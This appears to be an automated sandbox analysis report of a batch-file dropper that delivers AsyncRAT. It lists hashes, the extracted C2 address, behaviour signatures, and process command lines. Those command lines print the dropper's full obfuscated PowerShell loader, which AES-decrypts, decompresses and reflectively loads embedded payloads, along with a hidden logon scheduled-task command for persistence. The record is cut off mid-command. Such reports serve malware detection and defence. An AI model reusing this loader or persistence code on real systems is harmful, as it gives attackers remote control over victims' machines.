Analysis
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max time kernel
146s -
max time network
135s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 17:23
Static task
static1
Behavioral task
behavioral1
Sample
V3xSolarafixer.bat
Resource
win7-20240903-en
General
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Target
V3xSolarafixer.bat
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Size
395KB
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MD5
003edf4319e31d48f44daee2df888005
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SHA1
bcd6f33116f746a10185af4d17cbf0357c11657b
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SHA256
60193565df3a7afe6f4bf343da48595a20bc8afed9d60f890b6a2d1c1ce8b65f
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SHA512
1e961d0bec6b7368d6f6732ca854c995f3caedd3e87fe3a809f5b263d866adc6146295e60fdb0216257b709ace3836241210617d6060cf8b56e74a9d5e52785e
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SSDEEP
12288:NsUM5zunGyNyChna0ZF2NB6RjTQ+SXbBBoz9u:Ns3zuVZxZF2v0QntBr
Malware Config
Extracted
asyncrat
Victim
193.161.193.99:36700
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delay
1
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install
true
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install_file
sysvlrhp.exe
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install_folder
%AppData%
Signatures
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Asyncrat family
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Async RAT payload 1 IoCs
resource yara_rule behavioral2/memory/2456-52-0x000002721C260000-0x000002721C276000-memory.dmp family_asyncrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2456 powershell.exe 3020 powershell.exe 436 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 4036 sysvlrhp.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\U: svchost.exe -
Drops file in System32 directory 13 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\sysvlrhp svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 1 IoCs
pid Process 1680 timeout.exe -
Modifies data under HKEY_USERS 42 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00F9831D2BD" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2552 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 57 IoCs
pid Process 3020 powershell.exe 3020 powershell.exe 436 powershell.exe 436 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 2456 powershell.exe 4036 sysvlrhp.exe 4036 sysvlrhp.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3020 powershell.exe Token: SeDebugPrivilege 436 powershell.exe Token: SeIncreaseQuotaPrivilege 436 powershell.exe Token: SeSecurityPrivilege 436 powershell.exe Token: SeTakeOwnershipPrivilege 436 powershell.exe Token: SeLoadDriverPrivilege 436 powershell.exe Token: SeSystemProfilePrivilege 436 powershell.exe Token: SeSystemtimePrivilege 436 powershell.exe Token: SeProfSingleProcessPrivilege 436 powershell.exe Token: SeIncBasePriorityPrivilege 436 powershell.exe Token: SeCreatePagefilePrivilege 436 powershell.exe Token: SeBackupPrivilege 436 powershell.exe Token: SeRestorePrivilege 436 powershell.exe Token: SeShutdownPrivilege 436 powershell.exe Token: SeDebugPrivilege 436 powershell.exe Token: SeSystemEnvironmentPrivilege 436 powershell.exe Token: SeRemoteShutdownPrivilege 436 powershell.exe Token: SeUndockPrivilege 436 powershell.exe Token: SeManageVolumePrivilege 436 powershell.exe Token: 33 436 powershell.exe Token: 34 436 powershell.exe Token: 35 436 powershell.exe Token: 36 436 powershell.exe Token: SeIncreaseQuotaPrivilege 436 powershell.exe Token: SeSecurityPrivilege 436 powershell.exe Token: SeTakeOwnershipPrivilege 436 powershell.exe Token: SeLoadDriverPrivilege 436 powershell.exe Token: SeSystemProfilePrivilege 436 powershell.exe Token: SeSystemtimePrivilege 436 powershell.exe Token: SeProfSingleProcessPrivilege 436 powershell.exe Token: SeIncBasePriorityPrivilege 436 powershell.exe Token: SeCreatePagefilePrivilege 436 powershell.exe Token: SeBackupPrivilege 436 powershell.exe Token: SeRestorePrivilege 436 powershell.exe Token: SeShutdownPrivilege 436 powershell.exe Token: SeDebugPrivilege 436 powershell.exe Token: SeSystemEnvironmentPrivilege 436 powershell.exe Token: SeRemoteShutdownPrivilege 436 powershell.exe Token: SeUndockPrivilege 436 powershell.exe Token: SeManageVolumePrivilege 436 powershell.exe Token: 33 436 powershell.exe Token: 34 436 powershell.exe Token: 35 436 powershell.exe Token: 36 436 powershell.exe Token: SeIncreaseQuotaPrivilege 436 powershell.exe Token: SeSecurityPrivilege 436 powershell.exe Token: SeTakeOwnershipPrivilege 436 powershell.exe Token: SeLoadDriverPrivilege 436 powershell.exe Token: SeSystemProfilePrivilege 436 powershell.exe Token: SeSystemtimePrivilege 436 powershell.exe Token: SeProfSingleProcessPrivilege 436 powershell.exe Token: SeIncBasePriorityPrivilege 436 powershell.exe Token: SeCreatePagefilePrivilege 436 powershell.exe Token: SeBackupPrivilege 436 powershell.exe Token: SeRestorePrivilege 436 powershell.exe Token: SeShutdownPrivilege 436 powershell.exe Token: SeDebugPrivilege 436 powershell.exe Token: SeSystemEnvironmentPrivilege 436 powershell.exe Token: SeRemoteShutdownPrivilege 436 powershell.exe Token: SeUndockPrivilege 436 powershell.exe Token: SeManageVolumePrivilege 436 powershell.exe Token: 33 436 powershell.exe Token: 34 436 powershell.exe Token: 35 436 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 432 wrote to memory of 1300 432 cmd.exe 83 PID 432 wrote to memory of 1300 432 cmd.exe 83 PID 432 wrote to memory of 3020 432 cmd.exe 84 PID 432 wrote to memory of 3020 432 cmd.exe 84 PID 3020 wrote to memory of 436 3020 powershell.exe 85 PID 3020 wrote to memory of 436 3020 powershell.exe 85 PID 3020 wrote to memory of 4320 3020 powershell.exe 88 PID 3020 wrote to memory of 4320 3020 powershell.exe 88 PID 4320 wrote to memory of 2996 4320 WScript.exe 89 PID 4320 wrote to memory of 2996 4320 WScript.exe 89 PID 2996 wrote to memory of 4044 2996 cmd.exe 93 PID 2996 wrote to memory of 4044 2996 cmd.exe 93 PID 2996 wrote to memory of 2456 2996 cmd.exe 94 PID 2996 wrote to memory of 2456 2996 cmd.exe 94 PID 2456 wrote to memory of 3428 2456 powershell.exe 56 PID 2456 wrote to memory of 1968 2456 powershell.exe 33 PID 2456 wrote to memory of 1320 2456 powershell.exe 22 PID 2456 wrote to memory of 2148 2456 powershell.exe 38 PID 2456 wrote to memory of 1556 2456 powershell.exe 26 PID 2456 wrote to memory of 1356 2456 powershell.exe 24 PID 2456 wrote to memory of 960 2456 powershell.exe 12 PID 2456 wrote to memory of 1744 2456 powershell.exe 30 PID 2456 wrote to memory of 1144 2456 powershell.exe 19 PID 2456 wrote to memory of 2716 2456 powershell.exe 46 PID 2456 wrote to memory of 1336 2456 powershell.exe 23 PID 2456 wrote to memory of 740 2456 powershell.exe 14 PID 2456 wrote to memory of 1524 2456 powershell.exe 69 PID 2456 wrote to memory of 804 2456 powershell.exe 10 PID 2456 wrote to memory of 868 2456 powershell.exe 15 PID 2456 wrote to memory of 1712 2456 powershell.exe 29 PID 2456 wrote to memory of 912 2456 powershell.exe 11 PID 2456 wrote to memory of 1100 2456 powershell.exe 18 PID 2456 wrote to memory of 1492 2456 powershell.exe 25 PID 2456 wrote to memory of 5032 2456 powershell.exe 66 PID 2456 wrote to memory of 3560 2456 powershell.exe 57 PID 2456 wrote to memory of 1092 2456 powershell.exe 17 PID 2456 wrote to memory of 3168 2456 powershell.exe 95 PID 2456 wrote to memory of 2856 2456 powershell.exe 51 PID 2456 wrote to memory of 1672 2456 powershell.exe 28 PID 2456 wrote to memory of 3636 2456 powershell.exe 67 PID 2456 wrote to memory of 2648 2456 powershell.exe 45 PID 2456 wrote to memory of 2056 2456 powershell.exe 75 PID 2456 wrote to memory of 2840 2456 powershell.exe 50 PID 2456 wrote to memory of 2444 2456 powershell.exe 43 PID 2456 wrote to memory of 3624 2456 powershell.exe 73 PID 2456 wrote to memory of 2436 2456 powershell.exe 42 PID 2456 wrote to memory of 3288 2456 powershell.exe 55 PID 2456 wrote to memory of 2232 2456 powershell.exe 41 PID 2456 wrote to memory of 2224 2456 powershell.exe 40 PID 2456 wrote to memory of 1036 2456 powershell.exe 16 PID 2456 wrote to memory of 1408 2456 powershell.exe 36 PID 2456 wrote to memory of 1820 2456 powershell.exe 32 PID 2456 wrote to memory of 2800 2456 powershell.exe 48 PID 2456 wrote to memory of 1216 2456 powershell.exe 21 PID 2456 wrote to memory of 2196 2456 powershell.exe 39 PID 2456 wrote to memory of 1996 2456 powershell.exe 35 PID 2456 wrote to memory of 2980 2456 powershell.exe 52 PID 2456 wrote to memory of 1984 2456 powershell.exe 34 PID 2456 wrote to memory of 1180 2456 powershell.exe 70 PID 2456 wrote to memory of 1572 2456 powershell.exe 27 PID 2456 wrote to memory of 1780 2456 powershell.exe 31 PID 2456 wrote to memory of 1188 2456 powershell.exe 20 PID 2456 wrote to memory of 4992 2456 powershell.exe 96 PID 2456 wrote to memory of 4992 2456 powershell.exe 96 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵PID:804
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:4216
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding2⤵PID:2584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:868
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1036
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1092
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1144
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1188
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1216
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1556
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1572
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1780
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1820
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1968
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1984
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1996
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1408
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2196
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2224
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2436
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2716
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2840
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2856
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3288
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3428
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\V3xSolarafixer.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0AY9QqE64KYNO3BobF4rEV/9BwD+VjvRGEbrJkSp4fg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mrrNM2f8mYDdXAATgGNaVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $AQxCf=New-Object System.IO.MemoryStream(,$param_var); $ZqFkk=New-Object System.IO.MemoryStream; $PdtbZ=New-Object System.IO.Compression.GZipStream($AQxCf, [IO.Compression.CompressionMode]::Decompress); $PdtbZ.CopyTo($ZqFkk); $PdtbZ.Dispose(); $AQxCf.Dispose(); $ZqFkk.Dispose(); $ZqFkk.ToArray();}function execute_function($param_var,$param2_var){ $bWVGo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Kufeg=$bWVGo.EntryPoint; $Kufeg.Invoke($null, $param2_var);}$kXsdB = 'C:\Users\Admin\AppData\Local\Temp\V3xSolarafixer.bat';$host.UI.RawUI.WindowTitle = $kXsdB;$muZhB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kXsdB).Split([Environment]::NewLine);foreach ($lHFNb in $muZhB) { if ($lHFNb.StartsWith('HfjZxvAKjxumhUHaISov')) { $YXzqF=$lHFNb.Substring(20); break; }}$payloads_var=[string[]]$YXzqF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:1300
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_778_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_778.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:436
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_778.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4320 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_778.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0AY9QqE64KYNO3BobF4rEV/9BwD+VjvRGEbrJkSp4fg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mrrNM2f8mYDdXAATgGNaVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $AQxCf=New-Object System.IO.MemoryStream(,$param_var); $ZqFkk=New-Object System.IO.MemoryStream; $PdtbZ=New-Object System.IO.Compression.GZipStream($AQxCf, [IO.Compression.CompressionMode]::Decompress); $PdtbZ.CopyTo($ZqFkk); $PdtbZ.Dispose(); $AQxCf.Dispose(); $ZqFkk.Dispose(); $ZqFkk.ToArray();}function execute_function($param_var,$param2_var){ $bWVGo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Kufeg=$bWVGo.EntryPoint; $Kufeg.Invoke($null, $param2_var);}$kXsdB = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_778.bat';$host.UI.RawUI.WindowTitle = $kXsdB;$muZhB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kXsdB).Split([Environment]::NewLine);foreach ($lHFNb in $muZhB) { if ($lHFNb.StartsWith('HfjZxvAKjxumhUHaISov')) { $YXzqF=$lHFNb.Substring(20); break; }}$payloads_var=[string[]]$YXzqF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function 